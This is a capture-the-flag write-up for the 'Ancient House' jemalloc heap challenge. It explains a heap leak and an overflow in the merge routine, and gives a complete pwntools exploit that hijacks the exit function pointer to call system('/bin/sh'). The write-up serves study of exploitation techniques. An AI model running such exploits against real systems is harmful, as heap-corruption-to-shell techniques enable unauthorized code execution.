Ancient House
At first glance this was a regular heap exploitation challenge, but instead of ptmalloc it uses jemalloc as the memory allocator.

First look

The program allows us to add enemies, battle them, merge two enemies into one or exit.
The enemies are added in structures as below:
The first qword is a pointer to the name of the enemy, which is user controlled data. The 2 dwords after the name pointer are the index of the enemy in the list and their health, respectively. Finally, the last qword is the size of the name region. So each enemy allocates two regions, one with 18 bytes and one with user controlled size. If you are unfamiliar with jemalloc (like I was before this challenge), this references might help:
All the regions containing the enemies metadata (name pointer, health, etc.) are allocated in the 0x20's run, which is where 0x18 and 0x20 sized allocations go. Because allocations of the same size are allocated contiguously, if we get to allocate a region with 0x18 or 0x20 size, we'll be able to allocate controlled data regions next to the metadata regions.

Leaking a heap pointer

If we allocate an enemy with a name that has 0x20 bytes, its data will fall right below its metadata, and above the metadata of any next enemies.
Because of how strings are stored in memory and since the name regions are not nullbyte terminated, if we allocate a name region right above a metadata region, printf will concatenate the name pointer of the next region as part of the string, and that's how we get the heap base.
If we battle the enemy with id 0, the printf with its name will be called and the pointer below it will be leaked.

Corrupting a name pointer

If we get to control the name pointer of one of the metadata regions we can potentially get an arbitrary free primitive. There is a function pointer allocated in the heap that is called when we try to exit the program:
func_ptr = malloc(0x50uLL);
*func_ptr = target_func;
[...]
((void (__fastcall *)(_QWORD))*func_ptr)(func_ptr[1]);
If we somehow manage to allocate a name region above a metadata region and overflow its buffer, we would potentially take over a name pointer.
The following step really got me for a while, huge thanks n0ps13d, for shining some light on it for me:
const char *__fastcall write_to_merged(const char *string1, __int64 string2, unsigned __int64 new_size)
{
unsigned __int64 i; // [rsp+20h] [rbp-10h]
size_t len1; // [rsp+28h] [rbp-8h]
len1 = strlen(string1);
for ( i = 0LL; i < new_size; ++i )
string1[i + len1] = *(_BYTE *)(string2 + i);
string1[i + len1] = 0;
return string1;
}
This function is called upon a merge. The program concatenates both of the enemies names to a new buffer with the size = size of the first name + size of the second name. Merge only works for enemies with names of the same size, so we can abstract that new size = 2*size , which is exactly what happens when the new name region is realloc'd as seen below:
*v2 = realloc(*v2, size1 + size2);
The problem is that when it copies both names to the new region it starts iterating from 0 all the way up to 2*size instead of starting from the size of the name, which means it will copy 3*size bytes, instead of 2*size. This means that, if I add two enemies of size 0x10 and then merge them, the resulting region will be of size 0x20 bytes, but it will copy 0x30 bytes to it, meaning we can overflow the new region and overwrite the later 2 qwords.
Finally, all comes down to creating a hole in between 2 metadata regions where a 0x20 name region could fit in, create that new 0x20 region by merging 2 0x10 enemies. That way we would get something like the following layout:

Final exploit

If we put it all together, we can use our overflow to corrupt a name pointer so we can free the 0x50 region containing the function pointer and get a new allocation there, overwriting the function pointer with another controlled function pointer which will be called just before the program exits. The system function was conveniently used by the program so it's available on the procedure linkage table, so we could overwrite the exit function pointer with [email protected] + *"/bin/sh".
#!/usr/bin/env python
from pwn import *
# Definitions
e = context.binary = ELF('./Ancienthouse',checksec=False)
if args.REMOTE:
io = remote('pwn.challenge.bi0s.in',1230)
else:
io = process(e.path)
io.recvuntil(': ')
io.sendline('/bin/sh')
def add(size,data=''):
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil(': ')
io.sendline(str(size))
io.recvuntil(': ')
io.sendline(str(data))
# 1 = kill; 2 = spare
def battle(id,opt=1):
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil(': ')
io.sendline(str(id))
io.recvuntil(': ')
hp = int(io.recvline())
if hp < 0:
io.recvuntil('>>')
io.sendline(str(opt))
return hp
def merge(id1,id2):
io.recvuntil('>> ')
io.sendline('3')
io.recvuntil(': ')
io.sendline(str(id1))
io.recvuntil(': ')
io.sendline(str(id2))
# Exploit
def leak_heap():
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil(': ')
io.sendline('0')
io.recvuntil(0x20*'A')
leak = u64(io.recv(6)+'\x00\x00')
base = leak - 0x6050
return base
def leak_elf():
io.recvuntil('>> ')
io.sendline('2')
io.sendline('1')
io.recvuntil('with ')
leak = u64(io.recv(6)+'\x00\x00')
base = leak - 0x1b82
return base
def pwn():
add(0x20,0x20*'A') #0
add(0x10,0x10*'B') #1
# Leak heap
heap_base = leak_heap()
log.success('Heap base: ' + hex(heap_base))
func_ptr = heap_base + 0x8060
# Free space for the merged region
health = 6
while health >= 5:
health = battle(0)
add(0x20,0x10*'C'+0x10*'\x00') #2
add(0x10,0x10*'D') #3
health = 6
while health >= 5:
health = battle(2)
# Merge regions and abuse concatenation
fake_region = p64(func_ptr)
fake_region += p32(100) + p32(1)
add(0x10,fake_region) #4
merge(1,3)
# Leak elf
elf_base = leak_elf()
log.success('Elf base: ' + hex(elf_base))
system_plt = elf_base + 0x1170
bin_sh = heap_base + 0x7040
# Overwrite function pointer
health = 6
while health >= 5:
health = battle(1)
add(0x50,p64(system_plt)+p64(bin_sh))
# Pop shell
io.recvuntil('>> ')
io.sendline('4')
pwn()
io.interactive()
Last modified 11mo ago